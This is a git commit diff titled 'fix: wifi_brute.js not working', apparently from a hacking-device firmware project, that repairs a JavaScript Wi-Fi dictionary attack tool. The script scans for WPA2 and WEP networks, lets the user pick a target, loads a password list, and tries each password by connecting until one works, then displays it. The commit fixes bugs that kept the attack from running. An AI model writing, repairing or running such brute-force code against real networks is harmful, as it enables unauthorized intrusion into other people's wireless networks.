fix: wifi_brute.js not working

varenichek22 · Feb 3, 2025 · 4b94fac · 4b94fac
1 parent 881817a
commit 4b94fac
Showing 1 changed file with 25 additions and 12 deletions.
diff --git a/sd_files/interpreter/wifi_brute.js b/sd_files/interpreter/wifi_brute.js
@@ -8,19 +8,21 @@ function wifiDictAttack(ssid, pwds) {
   // iterate over the passwords
   for( var i=0; i<pwds.length; i++ ) {
       if(!pwds[i].trim()) continue;  // skip empty lines
-      //print("pwd: " + pwds[i]);
+      serialPrintln("Trying password for " + ssid + ": " + pwds[i]);
+      dialogMessage("Pwd: " + pwds[i]);
       connected = wifiConnect(ssid, 3, pwds[i]);  // timeout is 3s
       if(connected) {
-	  dialogMessage("password found: " + pwds[i]);
-	  return;
+        dialogMessage("password found: " + pwds[i]);
+        return;
       }
   }
 }
 
+var network_to_attack_ssid = "";
+var passwords_to_try_arr = [];
+
 while(true)
 {
-  var network_to_attack_ssid = "";
-  var passwords_to_try_arr = [];
 
   var choice = dialogChoice([
     "Select AP", "scan",
@@ -33,17 +35,18 @@ while(true)
     break;  // quit
   }
   if(choice=="scan") {
-    //dialogMessage("Scanning...")
+    dialogMessage("Scanning..");
     var networks = wifiScan();
-    if(!networks.lenght) {
+
+    if(!networks.length) {
       dialogError("no wifi networks found!");
       continue;
     }
     var networks_choices = [];
     for( var i=0 ; i < networks.length; i++ ) {
-	if(networks[i].encryptionType == "CCMP/WPA" || networks[i].encryptionType == "WEP") {
-	  networks_choices.concat([networks[i].SSID, networks[i].SSID])
-	}
+      if(networks[i].encryptionType == "WPA2_PSK" || networks[i].encryptionType == "WEP") {
+        networks_choices.push(networks[i].SSID, networks[i].SSID);
+      }
     }
     network_to_attack_ssid = dialogChoice(networks_choices);
   }
@@ -52,18 +55,28 @@ while(true)
     if(!passwords_file) continue;
     var passwords_to_try = storageRead(passwords_file);  // MEMO: 4kb file limit -> use native open+read?
     if(!passwords_to_try) continue;
-    passwords_to_try_arr = passwords_to_try.split("\n");
+    var raw_passwords = passwords_to_try.split("\n");
+    passwords_to_try_arr = [];
+    for (var i = 0; i < raw_passwords.length; i++) {
+      var pwd = raw_passwords[i];
+      pwd = pwd.replace(/\r/g, '').trim();
+      if (pwd) {
+        passwords_to_try_arr.push(pwd);
+      }
+    }
   }
   else if(choice=="attack") {
     if(!network_to_attack_ssid) {
       dialogError("no wifi network selected, pls rescan");
       continue;
     }
-    if(!passwords_to_try_arr) {
+    if(passwords_to_try_arr.length == 0) {
       dialogError("no passwords dict loaded");
       continue;
     }
     //print("trying attacking network " + networks[i].SSID + " " + networks[i].MAC);
+    dialogMessage("Attacking..");
+
     wifiDictAttack(network_to_attack_ssid, passwords_to_try_arr);
 
     wifiDisconnect();  // avoid automatic reconnection retry to the last network